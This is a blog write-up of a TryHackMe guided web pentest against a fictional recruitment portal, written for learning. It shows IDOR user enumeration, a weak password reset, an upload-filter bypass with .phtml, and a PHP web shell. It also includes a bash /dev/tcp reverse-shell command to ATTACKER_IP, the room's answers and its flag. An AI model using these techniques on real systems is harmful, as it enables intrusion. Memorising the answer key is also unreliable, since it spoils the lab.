Skip to main content

Command Palette

Search for a command to run...

Guided Pentest: Web | TryHackMe

Room: Guided Pentest: Web | Target: RecruitX — an internal recruitment portal

Updated
•7 min read•View as Markdown
Guided Pentest: Web | TryHackMe
A
I'm Arpita Singhal — IT professional turned cyber security learner. 4 years managing systems and teams, now documenting my journey into cybersecurity through labs, CTFs, and hands-on work.

Introduction

Most CTFs drop you into a machine and say "find the flags." This room does something more valuable — it walks you through a realistic web application pentest from start to finish, explaining the why behind every step, not just the how.

The target is RecruitX, a recruitment portal running on a LAMP stack. Starting with no credentials and no knowledge of the app, the goal is to achieve remote code execution on the server. The path there involves chaining four vulnerabilities together — none of which is catastrophic on its own, but together they are devastating.


Phase 1: Reconnaissance and Enumeration

Every pentest starts with understanding the target before touching it.

nmap -sV -sC -p- 10.48.173.11

The scan reveals four open ports: 22 (SSH), 80 (Apache 2.4.58), 3306 (MySQL), and 8080 showing a default Apache page. The presence of MySQL tells us SQL queries are being constructed somewhere in the app.

curl -I http://10.48.173.11

The headers confirm a PHP backend via PHPSESSID. The cookie is also missing the httponly flag — a small misconfiguration worth noting.

gobuster dir -u http://10.48.173.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

Key paths discovered:

Path Significance
/admin Admin panel — needs credentials
/api API endpoint — often over-exposes data
/reset.php Password reset — commonly broken
/uploads File upload directory — potential RCE path

Querying the API without any authentication:

curl http://10.48.173.11/api/

Output:

{"endpoints":["\/api\/user","\/api\/jobs","\/api\/applications"]}

The API lists its own internal routes to anyone — an information disclosure issue on its own.

Task Questions and Answers

Q: What version of the Apache server is running? A: 2.4.58

Q: What database service is running on the target? A: MySQL

Q: What is the path to the password reset page? A: /reset.php


Phase 2: IDOR — Leaking the Admin's Identity

After logging in, the profile URL looks like this:

http://10.48.173.11/profile.php?id=6

The app references your profile using a plain numeric ID and never checks if you are allowed to view a different one. Changing id=1 returns the administrator's profile:

curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://10.48.173.11/profile.php?id=1" | grep "fw-semibold"

Output:

Sarah Mitchell
s.mitchell@recruitx.thm

The API is even more permissive — no session cookie needed at all:

curl -s "http://10.48.173.11/api/user?id=1"

Output:

{"id":1,"name":"Sarah Mitchell","email":"s.mitchell@recruitx.thm","role":"administrator"}
curl -s "http://10.48.173.11/api/user?id=2"

Output:

{"id":2,"name":"James Crawford","email":"j.crawford@recruitx.thm","role":"hiring_manager"}

By iterating the id parameter from 1 to 5, every user in the system is enumerated — names, emails, and roles included.

What we gained: The administrator's email — s.mitchell@recruitx.thm

IDOR flaws exist because developers assume users will only access their own resources. The server must verify authorisation on every request, not just at login.

Task Questions and Answers

Q: What is the name of the administrator user? A: Sarah Mitchell

Q: What role does James Crawford hold? A: hiring_manager


Phase 3: Weak Password Reset — Admin Account Takeover

We submit s.mitchell@recruitx.thm to /reset.php. The first problem is immediate — the reset token appears directly in the HTTP response instead of being sent privately to the user's inbox.

Sample tokens from multiple attempts:

784512
291037
503648

These are six-digit numbers — only one million possible values. With no rate limiting on requests or guesses, this is trivially brute-forceable. We use the exposed token to set a new password and log in as Sarah Mitchell.

Three distinct flaws in this one feature:

  1. Token shown in the HTTP response instead of emailed privately

  2. Six-digit numeric token — far too small a keyspace

  3. No rate limiting on reset requests or token attempts

Task Questions and Answers

Q: How many digits long is the reset token? A: 6

Q: After resetting the password for s.mitchell@recruitx.thm and logging in, what role is displayed for that account? A: administrator


Phase 4: Admin Panel — Bypassing the Upload Filter

Logged in as the administrator, we find a file upload page at /admin/upload.php. The form uses an accept attribute to restrict file types to PDFs, DOCX, and images — but this is client-side only. Removing it via browser DevTools lets us send any file.

Testing what the server actually blocks:

echo "test" > test.txt

Result: Rejected

echo '' > test.php

Result: Rejected — extension is blocked

echo '' > test.phtml

Result: Accepted

The server uses a blocklist that blocks .php but misses .phtml — an alternative extension that Apache still processes as PHP. Blocklists almost always have gaps. An allowlist (only permit .pdf, .docx, .png, etc.) is the correct approach.

Visiting /uploads/documents/test.phtml confirms the PHP executes — we have code execution.

Task Questions and Answers

Q: What is the name of the PHP file responsible for handling file uploads? A: upload.php

Q: What HTML attribute restricts selectable file extensions on the client side? A: accept

Q: Which alternative PHP extension bypassed the upload filter? A: .phtml


Phase 5: Remote Code Execution

We create a web shell and save it as shell.phtml:

" . shell_exec($_GET['cmd']) . "";
}
?>

Upload it via the admin panel, then test execution:

curl "http://10.48.175.207/uploads/documents/shell.phtml?cmd=whoami"

Output:

www-data
curl "http://10.48.175.207/uploads/documents/shell.phtml?cmd=uname -a"

Output:

Linux recruitx-prod 6.8.0-1017-aws #18-Ubuntu SMP x86_64 GNU/Linux

Commands are running as www-data — the default Apache user. A web shell works but is limited to one HTTP request per command. We upgrade to a full interactive reverse shell.

Start a listener on the attack machine:

nc -lvnp 4444

Trigger the reverse shell through the web shell:

curl "http://10.48.175.207/uploads/documents/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"

The listener receives the connection:

www-data@recruitx-prod:/var/www/html/uploads/documents$

Full interactive shell on the server.

Task Questions and Answers

Q: What user is the web shell running as? A: www-data

Q: What is the hostname of the target server? A: recruitx-prod

Q: What is the flag? A: THM{ch41n3d_vulns_4r3_d3v4st4t1ng}


The Full Attack Chain

Step Vulnerability What It Unlocked
1 Enumeration Tech stack, hidden paths, API routes, upload directory
2 IDOR Admin email address
3 Weak password reset Administrator account takeover
4 File upload bypass (.phtml) Web shell → reverse shell → RCE

No single step leads to full compromise on its own. The IDOR was useless without the password reset flaw. The reset flaw required the email from the IDOR. The upload bypass required admin credentials. Each weakness opened the door to the next.

Task Questions and Answers

Q: How many distinct vulnerabilities were chained together in this engagement? A: 4

Q: What approach should be used instead of a blocklist when validating file uploads? A: allowlist


Remediation Summary

Vulnerability Severity Fix
IDOR on profiles and API High Server-side authorisation checks on every request
Reset token in HTTP response Critical Email-only delivery; cryptographically random tokens of at least 32 characters
File extension blocklist Critical Switch to an allowlist; validate MIME type; store uploads outside the web root
Unauthenticated API index Medium Restrict to authenticated admins only

Key Takeaways

Enumeration pays off. Every phase depended on what recon surfaced — skip it and you miss your attack surface.

Client-side validation is not security. The accept attribute and the extension blocklist both look like controls but break the moment someone sends a raw HTTP request.

Password reset flows need the same rigour as authentication. A weak reset mechanism makes a strong password completely irrelevant.

Think in chains, not individual findings. The most important skill this room teaches is learning to see how small weaknesses connect into something much larger.


Written as part of my TryHackMe learning journey. Room: Guided Pentest: Web | https://tryhackme.com

Jr Penetration Tester — TryHackMe

Part 1 of 2

A complete walkthrough series following the TryHackMe Jr Penetration Tester learning path. Each post covers a room from the path — explaining the concepts, tools, and techniques used, with full step-by-step solutions and answers. Designed for beginners breaking into ethical hacking and web application security.

Up next

Guided Pentest : Infrastructure — A TryHackMe Walkthrough

From Zero to Root: An Infrastructure Pentest Walkthrough (TryHackMe — Guided Pentest: Infrastructure)

More from this blog

Cybersecurity Write-ups | Arpita Singhal

3 posts

Hands-on labs and write-ups by Arpita Singhal. Documenting TryHackMe rooms, CTF challenges, and everything I learn along the way in cybersecurity. Written for anyone breaking into the field.